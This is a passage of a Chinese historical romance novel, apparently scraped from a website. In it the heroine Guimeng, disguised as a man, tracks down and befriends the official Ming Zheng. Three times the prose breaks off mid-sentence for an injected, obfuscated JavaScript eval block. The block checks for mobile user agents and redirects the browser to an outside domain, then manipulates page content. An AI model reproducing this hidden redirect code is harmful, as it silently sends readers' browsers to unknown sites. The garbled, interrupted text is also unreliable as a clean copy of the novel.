人生不满百,却怀千岁忧。昼短苦夜长,不若秉烛游。 若是能得一人相伴,隐居山水之间,抛开这繁琐的宫廷生活,该是何等的逍遥快活。 翌日,用过早膳,归梦禀过了母亲,便携着紫芽直奔皇宫西苑。四月的天气有些反覆多变,刚出门还是艳阳高照,这会儿天色已是阴沉了下来,很快伴着雷声,雨点滴滴答答落了下来。 去西苑的路程不过一盏茶的时间,此时才走了一半,赶车的家丁驾着马车冒雨前行。 紫芽掀起马车车窗篷布一角,观察着雨势:“这雨下得真不是时候,竟是越下越大了,梦娘,咱们不若回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599164|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府吧。” 归梦听着马车外噼啪噼啪的雨声。看这架势,今日花是赏不成了。但赏花本就是个由头而已。既然出来了,没有折返回去的道理。 “春日的雨势虽急,去的却快。再说,车上不是还有两把伞么?”紫芽见她坚持,也不再劝了。 到得宫门口,侍卫查验过身份放行,雨已是渐渐小了。下了车,早有下人通报了进去。 虽是撑了伞,但等到得无尘斋,归梦身上的衣衫已被细密的雨丝微微濡湿了。 诗安连忙带归梦到内室换衣服,又让素秋给紫芽也拿套干净衣裙。 “难为你冒雨前来。怨我,邀的不是时候。”诗安一边帮归梦张罗着换衣服一边说道,语气中不无歉意。 归梦笑笑:“‘斜风细雨不须归’,难得在阴雨天出门一次,倒也别有诗意。况且,我可念着姊姊这的紫藤花糕呢。” 话刚说完,忍不住打了个喷嚏,自己也不好意思地笑了。 诗安恐她受了风寒,急急吩咐下人去熬炖姜汤来。她用手帕为归梦拭了拭鬓边的水珠,打量着归梦刚换上的一身天水碧色的衣裙。 “我的衣衫多是素色,你且将就着穿。” 归梦揽镜自照,笑笑:“不妨事,很是合身呢。虽非时新的式样,但胜在绣工图纹精致。” 两人正闲谈,忽听屏风外素秋呼唤,显是有事回禀诗安。 “你且稍坐,我去小厨房看看。” 归梦点了点头,想着此时已届晌午,少不了要叨扰一顿饭了。何况她早膳用的不多,眼下确是有些饿了。 之前虽然常常出入无尘斋,但这是第一次入内室。她打量着诗安日常起居就寝的地方,陈设简单雅致,倒与太子的书房有异曲同工之妙。 她向来耐不住性子闲坐,转身出了卧房,又到暖阁用了些侍女呈上的点心,烫烫的姜汤喝下去,感觉身上寒意渐去。 紫芽进了暖阁,身上也已换了干爽的衣裙。归梦递了碗姜汤给她。 紫芽喝了两口,忽地压低声音,神秘兮兮道:“方才我从后院那边过来,经过厅堂,听到诗安侧妃在和一名男子说话。” “许是太子哥哥派人来传话吧。”归梦饮了口茶水。方才的姜汤的味道残留在嘴里辣辣的。 “我看不像,我路过的时候偷看了一眼,两人倒是挺亲近的样子,有说有笑的。” “少胡说。”归梦轻斥一声,转头看了看旁边随侍的侍女采兰,示意紫芽慎言。 这是在西苑,太子的行宫。外男一般是不可进入后妃居所的。倘若真是有什么首尾,又怎会光天化日地在厅堂之中相会呢? 何况,她从不怀疑诗安与太子的感情。 只是……这疑心与好奇心一旦起了,总让人忍不住想探个究竟。她朝紫芽使了个眼色,紫芽机灵地找了个由头打发采兰去厨房再取些点心吃食。 这无尘斋平日就没有几个下人,诗安生性好静爱简,不喜人多。只有素秋并另外两名侍女采兰、采菊随身服侍,其他的粗使下人均在厨房等地洒扫劳作。 归梦和紫芽贴着墙根走,一直走到厅堂边上也没遇到一个下人。 两人躲在厅堂的窗户旁边,那窗户恰巧开了些许缝隙。只听一个男声清楚地传出:“听闻封侧妃的旨意已然下了……” 这个声音!归梦猛地一激灵,几日前她才听到过这个声音,绝不会忘! 她透过那窗户的一点缝隙望去,看到了背对着她的诗安与素秋,以及坐在椅子上正对着她,男子的正脸。 他头上簪一枚古朴的乌木发簪,剑眉星目,丰神俊逸,一身无纹的素白衣袍,淡然端坐,犹如玉山照人。 隔了三年的时光,她终于又再度看清了这张陌生又熟悉的记忆中的面庞。将他牢牢刻在自己心中,填补上了那片因岁月蹉跎而缺失的空白,令自己不会再忘。 7. 百计求 他唇边挂着淡淡微笑,与诗安交谈间语气甚是亲切。归梦偷眼瞧着,心中不知为何竟泛起淡淡的不快。 他到底是什么身份?他是谁呢?这谜团在她心中滋生得越来越大,直令她快要忍不住跳出去问个清楚。 “为何册封的仪式取消了?”他问道。 “我不惯那繁文缛节,所以央殿下取消了……” “是么?” 归梦看到诗安的背影微微颤动一下,沉默了一会儿方才回答:“你被封太子洗马,朝中多少双眼睛盯着,难免招人非议不满。我没什么能做的……” 一阵急风吹来,伴随着几点雨滴打在窗棂上,窗户被刮得狠撞在窗框上。厅堂里二人说话的声音也猛得模糊听不清。 依稀又听到诗安问道:“……父亲的病如何了?” 紧接着有脚步声越来越近,显然是有人朝窗户这来了。 归梦急忙拉着紫芽闪避。 是素秋将窗户闭合上了,隔着窗户,再难听清厅堂内二人的对话。 归梦也无心再听。紫芽看着归梦脸色,小心翼翼地问道:“梦娘,这人不就是前几日我们在瓦官寺见到的那位公子吗?” “嗯。” “这真是踏破铁鞋无觅处,得来全不费工夫。”紫芽头脑简单,只替自家姑娘高兴。 “我累了,回吧。”归梦面无表情地往回走,也不管是不是走在回廊下,身上刚换的衣裙又溅上了雨水。 紫芽见归梦走的方向并不是回暖阁的路,怪道:“梦娘我们这是去哪?” “回府。” 迎面遇上了侍女采兰。 “转告诗安侧妃,今日我身子不适,先行回府。”归梦说完快步离去。 回去的路上,雨依旧是滴滴答答下个不停,让人格外烦闷。这雨,竟然缠绵着下了大半天了。 归梦坐在马车上,一言不发。 想不到,寻了那么久,竟是远在天边,近在眼前。 难怪,她第一次见到诗安就有一种熟悉之感。 难怪,素秋见了她的画作,便说图中的人物像是在哪见过。 可是,她们没有一个人给她提供过线索。也许真的是不曾想到吧。 诗安与他,关系匪浅是确凿无疑的。听他们谈话的内容,他们是兄妹?抑或是姊弟?她自认为和诗安关系要好,竟然从来不知道她还有兄弟!这个人,还偏偏是她一直寻觅的人。 乍然得知这些,她又如何能做到心中波澜不惊? 她不知如何面对,在平复好心情之前,还是暂时不见吧。 反复淋了两场雨,到底是受了风寒。归梦深明医理,这一日心情大起大落,惊喜、忧思、嗔怒……几样合起来,又淋了雨,怎会不生病呢。 寒气侵体,到了晚间,身子便烧得有些滚烫,意识也模糊起来。 紫芽担心,不顾归梦的反对,禀了谢氏,叫管家请了大夫来看。 紫芽哄着归梦把两副浓苦的汤剂喝下去,又守到半夜看她退了烧,出了汗,这才放下心来。 归梦睡到次日晌午方醒,觉得精神不错,身体已康复大半。想到前一晚都是紫芽在照顾自己,她也跟自己一样淋了雨,便急着去看她,又叫人送了吃食到她房中。 “梦娘昨晚的样子可是把我吓坏了,亏你还拦着我不让我去回禀夫人,不让请大夫。”紫芽埋怨道。 归梦反驳道:“医者不能自医。我若不是病倒了,何须去请外面的大夫。小小风寒,自是药到病除。” 紫芽看着桌子上几样小菜,很是清爽落胃,忍不住食指大动,就着小菜连吃了两碗粥。 归梦又夹了块胭脂鹅肝给她,笑道:“你慢点吃,这两日你辛苦了,且休息着。等过两日,我有事情交你去办。” 紫芽对于自家姑娘这想一出是一出的性格已经是习以为常了,招架不住又无可奈何,只能见招拆招了。 归梦从小体质强健,极少生病,性格又似男孩一般贪玩好动,并不娇气。此次不过淋了些雨就得了风寒,倒是罕事,引得岑熙与谢氏特地把她身边伺候的侍女唤过去询问了一番,于她近日的衣食起居也是格外关注。 这一日,已是彻底痊愈的归梦正坐在窗前拿了卷《孙子兵法》漫不经心地翻阅着。 侍女丹娥立在一旁,朝香炉里添了些檀香。 “紫芽回来了吗?”这已是她第三遍问了。 丹娥答道:“还没呢,她同鲁管家去集古斋取首饰,还要去城西的碾玉坊买梦娘你指定的香膏。一来一回怕是没那么快。” 说话间听到有动静,她不禁朝窗外望了望,喜道:“紫芽姊姊回来了。” “斟杯茶放在桌上,你先下去吧。” 一个上午,她虽手不释卷,可这三十六计却一点进不去脑袋。她能做的,无非是知己知彼。 紫芽气喘吁吁地奔进来一屁股坐下,一口气喝完了杯中的茶水。 “说吧,打听到了什么?慢慢说。” 紫芽来不及措辞,她想到哪说到哪,有些颠三倒四。归梦仔细听着,将她的话理出了头绪。 明铮,年方弱冠,高平人氏,是太子的侧妃诗安的弟弟。大抵一个月前,举家迁至建康定居,家中父亲抱病。近日受封为太子洗马,随侍太子处理日常事务。 紫芽滔滔不绝地把获得的情报报告给她:“鲁管家跟河对岸表少爷家的门房关系不错。据那门房说,明公子跟表少爷也有来往,上次鲁管家在表少爷家门前见到的谪仙一样的公子想来就是明公子了。” “他既已举家搬来建康,现住在何处?” 紫芽摇摇头:“这个还不曾打听到。” 归梦沉吟道:“我们不知道,未必别人也不知道。你上次说,在瓦官寺看到谁的侍女了?” 其时儒学倒退,风气大开,男女大防并不严,女子也可自由上街出行,抛头露面。倘若见到喜欢的男子,也并不掩饰爱慕之情,常有热烈表达。 前朝就有掷果盈车的潘岳,遭人围追看“杀”的卫玠。风采绝世的美男子,在当朝一贯是受人追捧的。 贵族女子中也不乏美男子的拥趸。其中最狂热的当属王家的王如芝了。不夸张的说,哪里有美男,哪里就有王如芝的身影。 因着出身琅琊王氏,王如芝从不把一众贵女放在眼里,素来横行霸道。唯有顾忌着归梦外戚之女的身份,对她略微收敛一些。素日的清谈雅集,两人相见不过淡淡打个照面。 可上巳那一日,她害得归梦落水,二人的梁子确是结下了。 王如芝身材矮小圆润,生平两大嗜好是美食与美男。可惜因着容貌不佳又极挑剔,是以年过双十仍未成婚,成了贵族之中有名的老女。 归梦已换好一身男子装束,纤尘不染的素白长袍,一头青丝照男子发式挽起,插上一只碧玉簪。她对镜自照,宛然一个翩翩浊世佳公子。今日特地用丝绢缠了束胸,确保一丝破绽也看不出。 想了想,又取出那枚比目白玉佩悬于腰间。这个东西没准就能派上用场。 “可打听清楚了?”归梦边问边检视换了男装的紫芽。 “错不了,王家的府邸就在河对岸乌衣巷。最近每日巳时都能看到王如芝的马车从巷子口出来,今日定然也不例外。” 时辰已差不多了,归梦与紫芽悄悄牵上马出了门。 眼看着王府的马车出了巷口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599165|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又穿过了朱雀桥。两人急忙纵马跟上,一路跟到了城东最大的酒楼天然居。 归梦主仆俩不敢跟得太紧,远远看着王如芝被侍女搀扶着下了马车。店里掌柜早就在门口候着迎接她上了二楼。 天然居分两层,二楼乃是包厢雅座,楼下多是散客。 王如芝主仆几人就坐在二楼靠窗的位置,像是在观察楼下往来行人,又像是在等待什么。 归梦已换了男装自然不怕她们认出。 紫芽已唤了小二来将马牵去拴好。归梦挑了个正对门口的位子坐定,心里不由得期待起来。 她越等越是心焦,于是叫紫芽偷偷去街上朝二楼望望。 “王如芝就趴在窗边,我们猜得应当不错。”紫芽悄声回禀。 她见归梦焦灼的样子,不由得问道:“梦娘,我不明白。你若想知道那明公子住哪,去找诗安侧妃询问不就一清二楚了。何必跟着王如芝在这守株待兔呢?” 归梦白了她一眼:“我自有我的道理。能自己解决的事情,何必麻烦她人。何况,你怎知道她就愿意告诉我?” 紫芽奇道:“她与你关系挺好的……” 呵,是关系好还是交浅言深,恐怕只有天知道了。那画像上虽不曾画上五官,可连素秋都觉得画中人眼熟。以诗安之聪慧,未必想不到画中人可能会是自己的弟弟。但她并未提及,甚至从未说起她有弟弟。即使是与弟弟见面,也不曾支会归梦一声。 也许,诗安根本就不希望她找到他吧。 这种种揣测,让归梦觉得心累,或许是她敏感了,把人心想得复杂了。所以,她不想再去把事情复杂化。既然她已经看到了他,找到了他,确定了他的身份,那么她与他的故事,就全靠自己去创造。 正胡思乱想间,大街上似乎有了些许骚动。 紫芽连忙推了推归梦。 “来了,来了……”楼上几个叽叽喳喳的女声响起,随之一阵急促的脚步声响起,有人从楼上奔了下来。 归梦随手丢下一锭银子在桌上,让紫芽喊小二来牵马,她自己三步两步奔到门口。 只见一辆形制普通、半新不旧的牛车正缓缓穿过闹市而来。除了驾车的车夫,仅有一名步行的随从。 “这就是新晋太子洗马的出行仪仗吗?便是最低品级的九品官,恐怕排场都比这大一些。”人群中有人悄声议论。 “你懂什么?听说这位明公子出身寒门,不仅容貌瑰绝,而且为人最是谦逊随和。自然不像那些士族公子那般虚荣讲排场了!”另一人接口道,引起身边不少女子的附和之声,显然均是已被这位明公子的风姿迷倒之人。 有微风吹来拂起车窗两侧的帷幔,隐隐看到车内的男子身着朱色朝服,目不斜视,端坐其中。 看起来是刚下朝归来,那么这条路当是他下朝还家的必经之路了。 周围有不少女子围观跟随,在风掀起帷幔的瞬间,看到了男子如精雕细刻的俊美侧颜,顿时激起一阵雀跃的窃窃私语。 那随从与车夫显然已司空见惯这种场面,只是小心规避和疏导行人,并无任何不耐。 归梦站在天然居门口,眼看着牛车已走到了面前,她正苦苦思索该想什么办法接近结交。 只听“哎哟”一声,挡在她前面的人群中忽地生起一阵骚动。 归梦上前拨开人群一看,一个年轻女娘软软地倒了下去。此时牛车恰好到了跟前,幸而车夫连连勒绳喝叫,眼疾手快驭住了牛,才不致使牛蹄踩踏到那女子。 归梦定睛望去,躺在地上的不是王如芝又是谁?服色鲜丽,佩有华饰,身材圆润,一张脸富态红润,此刻正表情痛苦双眼紧闭,不省人事。 8. 若相惜 归梦正想上前扶起察看,不料旁侧一名女娘抢先上前,捧起王如芝的脑袋抱在膝上,连连呼唤:“姑娘!姑娘醒醒!” 正是王如芝的贴身侍女。 这主仆二人葫芦里卖的是什么药? 围观的人越来越多,牛车无法继续前行,随从凑近车窗,口唇动了几下像是在向车内的人禀告。 车帘晃动,一只修长、骨节分明的男子的手优雅地掀起车帘。 车中人掀起帘子走出的一瞬间,原本有些嘈杂的人群立刻安静了下来,所有人都似屏住了呼吸一般,目光直勾勾地看向同一个方向。他的出现如明珠出匣,光芒万丈但并不刺眼,柔和、温润,却又明亮了尘世。 明铮头戴进贤冠,一身朱色朝服沉静雍容,更衬得他面如冠玉。他步伐不慢,但脚下迈的步子极稳,走到王如芝与那侍女的身前,俯身垂问:“这位女娘如何了?” 那侍女见明铮走近,为他容貌所迷,一时不觉痴了。又听他俯下身子亲切地与自己说话,更羞得满脸通红,结结巴巴道:“我……我家姑娘心痛病忽地犯了,是以晕倒,还望大人善心援手,送她去就医……” 归梦简直是哭笑不得。好你个王如芝,亏你想得出这种苦肉计! 从不曾听说王如芝有什么心疾,倘若真的有,必然是随身备药小心将养。再看那侍女表面上虽呼天抢地,实际上并无一丝焦急。待到她说出期望明铮送她家姑娘去就医,这用心已是昭然若揭。 周围的人更多是在看戏,想看这如玉人般的无双公子会作何选择,是否会善心施救。 明铮招手唤侍从上前,耳语了几句,那侍从听命去了。 那侍女又连连呼唤几声,王如芝都毫无反应。侍女哭道:“大人,救人如救火,还望大人行行好,用车送我家姑娘去就医啊……” 人群的议论之声更盛了。男女同车不合礼法,何况光天化日之下,这女子来历不明,身着华服,看似出自富贵人家。若是贸然让其上车,恐怕将来浑身是嘴也说不清了。 归梦实在看不过眼了。 因着出身琅琊王氏,王如芝从不把一众贵女放在眼里,素来横行霸道。 往日的清谈雅集,归梦与她相见不过淡淡打个照面。 上巳节那日,俩人因一条小船而争执,归梦被推落水。自此两人的梁子算是结下了。 她当即整了整衣衫,越众而出,大声道:“这位女娘所言极是,救人如救火,依在下看来,若是此刻送去就医,只怕已然是回天乏术了。” 众人见人群中又冒出来一位俊秀小哥,不觉哗然。 那侍女打量着归梦,显然并未认出她来,只是斥道:“你是什么人?莫来信口胡诌,咒我家女娘!” 归梦微微一笑,转身拱手朝明铮施了一礼:“大人,这位女娘眼下不宜挪动。在下略通医理,有办法让她苏醒过来。” 她有些紧张的低着头,并不敢直视明铮。谁能想到这竟是她生平第一次同他说话——在见过他第一眼的三年后。 明铮不置可否,淡然微笑,算是默许。 那侍女有些慌乱,斥道:“你一个男子,岂可碰我家姑娘?!” 归梦笑道:“放心,不需触碰身体,在下也能让她醒转。” 说罢,她低头寻觅一番,恰好见路边道旁生着几棵蓍草,便走去伸手拔了两棵。 这蓍草极易生长,随处可见,根茎风干后可用来卜筮,归梦对它熟悉的很。 她将茎叶摘下,用手揉搓出些许汁液,凑近王如芝的鼻端。随着她几下吸入汁液的气味,只听“啊嚏啊嚏”之声不绝,王如芝忍耐不住连连打了几个喷嚏,醒转过来。围观人群均是又惊又喜,哄然而笑。 归梦笑道:“这蓍草可入药,有通脾窍之功效。”她低头询问王如芝:“这位女娘觉得如何?” 王如芝在众人面前连打几个喷嚏已觉得丢脸,又见围观诸人均是面带笑意,她的苦肉计已然被破坏,当下有些恼羞成怒,恨恨瞪了归梦一眼,继而起身就走。 “女公子且慢。”在一旁许久的明铮开口了,态度仍是十分温和:“本官已命人去请了最近的大夫……” 王如芝的一张圆脸涨得通红,像熟透的大苹果。她飞快地抬眼偷瞄了下明铮的俊容,又羞涩地低下头,既欢喜又心虚,讷讷道:“多谢大人,小女子自觉好些了,真的……真的不必麻烦了。”说罢,拉着侍女慌里慌张地离去了。 归梦看着王如芝失措的背影,倒忽地有些心软。她出此下策虽然荒唐,但又有什么错呢?知好色而慕少艾,人之常情罢了。自己与她,又有何区别? 围观的群众看了一出好戏,至此也有些疲乏了,渐渐散去各回各家。 原地只剩明铮与归梦,以及几步之外坐在车上待命的车夫。 归梦一眼瞥到躲在天然居门口柱子后的紫芽,正拼命朝她使着眼色,示意她把握机会。 她正踌躇着,一方素帕递到了面前。 顺着帕子望去,是明铮那双神采奕奕又带了些探询的温润双眸。 “擦擦吧。” 归梦怔了怔。原来他心细如尘,注意到了她手上残留的蓍草汁液。 “蓍草的汁液有毒,轻嗅无妨。若是沾染久了,皮肤会发痒红肿。”明铮微笑道。 她有些讶异,接过了素帕,拭了拭手指。 “多谢,没想到大人也精通草木药性。”帕子用完她便攥在了手里。“看来我倒是多管闲事了。” 他既懂得药性医理,也该看得出王如芝是假装晕倒,但他却没揭穿,而是装作不知情演了这么一出戏。看来这玉人般的无双公子不仅聪明,还胸有城府。 归梦的性格向来直率。她不喜欢心眼多的人,更不喜被人欺瞒算计。 “不,仍要多谢兄台为在下解围。”他的感谢听来极为真诚,并不是故作姿态。 说话间,那侍从已然回来了,果真是一个人,并不曾去找什么大夫。 归梦顿时觉得自己刚才那一番仗义执言显得非常多余,傻乎乎地替一个聪明人出头。明明人家心中早有计较,恐怕在他眼里她是十分可笑吧。 她这么想着,颇有些意兴阑珊,将攥在手里的手帕反手递了回去。 用脏的帕子皱巴巴地还给对方,是极不礼貌的。 他笑笑,伸手接过叠好放入怀中,并不以为忤,倒是很有涵养气度。 归梦转身欲走,却被叫住。 “兄台请留步。” 她转身,就看到明铮朝自己拱手施了一礼:“在下明铮,字远书。还未请教尊姓大名?” “我……姓孟,名归。孟夫子的孟,归去来兮的归。”归梦随口将名字颠倒,杜撰了个假名。 “好名字。”明铮赞道。“不知孟兄可愿赏光去共饮一杯?”他示意去旁边的天然居。 他态度极是谦逊,从头到尾没有一点为官的架子。这倒让归梦觉得自己心里那番计较,是有些心胸狭窄了。 他毕竟救过她一命。救了她,却不留姓名,也不愿打个照面,在她醒转前就离去了。这样的人,她怎能因这一点点细枝末节就否定他? 归梦假装考虑片刻,故意道:“你若有诚意,何不请我去你家中小坐?” 这话说得极为唐突。归梦一再试探,想看看明铮的脾性。 本以为明铮会犹豫甚至拒绝,不想他竟是一口答应:“荣幸之至。” 明铮遣了车夫与随从先行还家准备,归梦也给紫芽使了个眼色只让她暗中跟随。 二人在这闹市中并肩而行。远远看去,这对气质高贵的少年,举止潇洒,俊雅秀逸,恰如一双连璧,揽尽天下风流,引得无数路人连连回头驻足。 如此向西走了一程,便看到几座民宅,并不甚起眼。相较于秦淮河两岸的士家宅邸,自然是天差地别。 其中一座宅院挂着“明宅”二字,想来便是此处了。 “寒舍简陋,让孟兄见笑了。” 归梦听他一路上一口一个“兄”字,想着他应该是并未识破自己的女儿身。毕竟在女扮男装方面,她是驾轻就熟的。 她忍着笑:“明兄何必谦虚,此地比之小弟的居所,当真如世外桃源了。”这话她倒是没说谎。 这座三进三出的小宅院,石秀水曲,茂竹幽深,环境甚是雅致,颇合她胃口。 明铮一进门便安排管家去准备饭食。 除却之前见过的车夫与随从,还有刚才的管家。整座宅子似乎并没几个人在。 “家父方到建康便生了场大病,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599166|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今仍在静养中。”明铮看出她的疑惑,解释道。 归梦点点头表示理解,不用见长辈正合她意,避免了露馅儿。 她到了正厅,见各种布置摆设都是中规中矩,挑不出错,算不上寒酸,但是当真是一丝富贵气息也无。 虽知他家是寒门庶族,但是他家姊已为太子侧妃,自己又受封太子洗马,官职不低且要紧,是多少人艳羡眼红的位置。当真至于这般谨小慎微吗? 她不由得想起那一日,她落水被他救起。他也是事了便拂衣而去,不惹一点恩怨。 这一路上两人尽是闲谈,归梦自然是对自己的家世背景语焉不详草草带过,明铮却是极为真诚有问必答。他不说话之时便已风采迷人,说起话来亲切随和。这倒是叫她越发沉醉迷惑了。初时那一点不愉快她已迅速淡忘。 人如玉树临风,卓尔不群,心似比干七窍玲珑,聪明通透。这般完美的男子,当真存在于世间,岂能不让人为之倾倒。 三年前那惊艳的一面,她看到了他眼中的失意,但她并不了解他,仅仅在凭自己的想象去勾勒他的性格。如今初初结识,她也弄不清自己是什么心情。 本来是怀着好奇、期待、愧疚、探究、了解的心思去接近于他。然而她越接近,越发觉得他遥远。大概就如同她见到诗安时的感觉一样,震惊这世上还有如此完美之人,怎能不叫人敬畏之余产生自卑。 书房本是最能体现主人脾性的地方。归梦仔细观察着书房的一陈一列,均是极为寻常之物。 唯有窗前的两株从未见过的乔木惹起了她的注意。 那树约两丈高,枝干并不算粗壮,但嫩绿色的叶子生长得极为茂盛,伴着黄绿色的小花星星点点垂下如瀑布一般,显然是极为用心栽种的。 “这是什么树?” 明铮怔了一下:“明开夜合花。”顿了顿,又道:“花朵白日沐光而开,入夜则闭合。” 明开夜合……归梦在心里轻轻重复着这个名称。 “明”是他的姓,明开夜合是这花的习性。听起来既与他相称又很特别。 她来了兴趣,正想多了解一些这从未见过的、习性特别的花,明铮却面带微笑礼貌地引着她走向别处。 穿过小院的回廊边上种了几株桃树,花瓣已凋落得所剩无几。走到尽头是一座木头拱桥架在池塘上,池塘边是一小片竹林。 伴着凤尾森森,龙吟细细,两人相对而饮。 归梦素来爱竹,爱酒,自是胸怀大畅。 菜式是很普通的胡饼、粟饭、菘菜,鱼脯,酒则是市面上卖的白醪曲。 “家中饮食向来简素,仓促间未备得珍馐好酒,还望孟兄海涵。”明铮举杯敬酒。 归梦平日对饮食本是极为挑剔,像这类菜色根本上不了她的饭桌。但今日行路较多,腹中饥饿。她动筷尝了几口,不想味道竟然不错,便忍不住食指大动。 吃得八分饱她忽然意识到,自己的吃相或许太过粗豪了。她俏脸微红,抬眼看向明铮。 明铮所食并不多,只是浅酌了几杯,含笑看着她进食。 差点忘了,她现下是女扮男装,吃饭粗野一些也是正常。 归梦停箸点评道:“这胡饼做得极是地道,与我幼时在高平吃的味道相差无几……”话一出口,她便后悔了。这一下子,就把她的生平经历暴露了,不知道他会不会有所联想。 “哦?原来孟兄也是高平人氏,我们倒是同乡。”明铮替她斟上一杯酒,表情并无任何异样。 “厨娘原是在我高平家中做了十几年的。自举家迁入建康后,父亲便水土不服生了重病,水米难进,只能托人辗转将她带来。有她烹调的食物,父亲才渐渐好转。” 归梦点了点头:“确是好手艺。食物烹调虽是小道,却能抚慰人心。能把简单的食材做得美味,更是不易。算起来我离开高平也有几年了,多谢明兄让我一饱口福,再次尝到这般地道的家乡味道。”说完,饮尽了杯中之酒。 “孟兄客气,你若是喜欢,便常来寒舍用饭。” “当真?”归梦睁大眼睛。 明铮哑然失笑:“有何不可?” 归梦大喜过望,不管他这话是客气还是真心,但只要他说出口了,她便有理由时常来找他了。 9. 醉春风 酒过三巡,一壶酒很快见了底。 归梦已然有些微醺,她眼神迷离,胆子愈发大了起来,直截了当地问明铮:“我很是好奇,倘若今日我不曾出现横插一脚,明兄预备如何对待躺在地上的那位女娘?” 明铮不疾不徐地嚼完口中的菜咽下:“最简单直接的当然莫过于孟兄的方法。只是我并不想拆穿……” “但你的侍从也并没有去请大夫,那是去哪了?”归梦疑惑道:“莫非,你只是装模作样拖延时间?” 好像也没必要啊。 “不,我的侍从确是听我的差遣去请人了。” “请谁?” “乌衣巷,王家。”他饮了口酒,简短道。 归梦忍不住倒吸了口气,原来他早就知道王如芝的身份了。 她惊叹:“所以你是去请随从告知王家,他府上的女公子在街上晕厥了?” 明铮笑着点了点头:“不错。” 这番操作,肯定能让王如芝收敛一阵子了。归梦在心里叹服他的手段,复又忍不住问道:“你怎知道这女公子的身份的?” 他苦笑:“若是有人连续跟踪监视你十几日,你还能不清楚她的身份来历吗?” 归梦听得这话不由得也有些心虚。 她又何尝不是在跟踪监视他呢?只是没有王如芝这傻瓜那么明目张胆。 她沉默半晌,忍不住又问:“你如此放心轻易地让我登堂入室,不怕我有歹意?” 归梦一双妙目澄澈莹莹。 她实在是弄不懂明铮究竟是怎样的人。有时候防备之心很强,不愿沾染任何麻烦,有时又对人一见如故,真诚得看起来毫不设防。 “好意还是歹意,我自然是分得清的。只是,好意未必就会办好事,歹意……也未必就全是坏事。”明铮静静道。 她知道他意有所指,可她读不懂他话中的机锋。 饭已用完,她想到今日会晤已然许久,紫芽应该还在等她,是时候还家了。 一阵风吹来,她酒意上涌脸烧得有些红,站起身准备告辞,不想有些腿软,一时站不稳,刚迈步一个踉跄就要摔倒。 好在明铮眼疾手快地扶住了她,因着摔倒的自然反应,她也抓住了他的手臂作支撑。 两人的距离挨得极近,倏忽间,她闻到了他身上传来的淡淡的香气伴着男子气息。仿佛是沉水香混着松针的味道,沉静、内敛,余韵悠长,令人心安想要依靠。 当今贵游子弟无不薰衣剃面敷粉施朱。每有雅集宴会,归梦总是被那些贵族子弟身上浓郁的香气熏得头晕鼻痒,极是厌恶。可明铮身上的香气并不刺鼻,倒像是佩了装有香草的香囊,香气淡雅好闻,而非日日在衣服上熏香。 她抬眸,正撞上他那双明亮的双眼,隐含了关切之意。她趁着酒意,贪婪地近距离观察他的容貌。 浓却不杂乱的剑眉,微微上挑的眼角,温润有神的眸子总是蕴着淡淡笑意,让人如沐春风。挺直如刀削的鼻梁,微微抿起的薄唇,线条清晰硬朗的下颌……他的肤色偏白,却没有丝毫脂粉气,这么近的距离,归梦看不出有任何傅粉施朱的痕迹。确是眉不画而黛,唇不点而朱。 她忽地生出自惭形秽之感,不忍再多看,只能在心里感叹女娲娘娘造人真是不公平,太过偏心。 “孟兄小心。”明铮低沉的声音在耳边响起,归梦才猛地清醒过来,意识到自己抓着他的手臂这么久了,赶紧红着脸松开了手。 “这白醪曲口感清淡,后劲却足。”他是极为周到的,一句不提酒醉酒量,反而贴心地揭过了归梦刚才的失态,缓解了她的尴尬。 归梦正想说点什么,却听“叮咚一声”,有什么东西从身上滑落掉到了地上。 是那枚白玉比目佩!今日佩戴了一天,她竟把这个给忘了! 她急忙捡起查看,好在这池塘边的沙土松软,不是坚硬的地面,所以并没有磕坏一点。方才是系在腰间的丝绦松散了,才会滑落。 她偷眼看着明铮的表情,尽量让自己看起来淡定自若。这枚玉佩是当初他的新婚妻子赠予自己的,保不准他也见过。自己佩戴在身上,按理来说他不可能没有注意到,但是始终不曾开口询问。 明铮的表情也没有太多波澜。 也许,是她想错了,这枚玉佩仅仅是那位姊姊的私有之物,与他并无干系。 她正准备将玉佩系回腰间,却听他开口道:“好精致的玉佩。可否借我一观?” 她心头一紧,但面上仍是落落大方地伸手将玉佩摊于掌心递了过去。 明铮小心取过玉佩,手指轻轻摩挲着,又翻转看了看,很快就双手奉还。 那玉佩她也反复看过,并无任何刻字,除了花样精巧,玉质罕有,也谈不上有什么特别之处。 “敢问孟兄,这块玉佩从何得来?” 他终究是开口问了。 归梦早有准备,答道:“乃是从城中集古斋中购得。” 明铮点了点头,不再多问,面色如常,淡淡的看不出有什么失望之色。 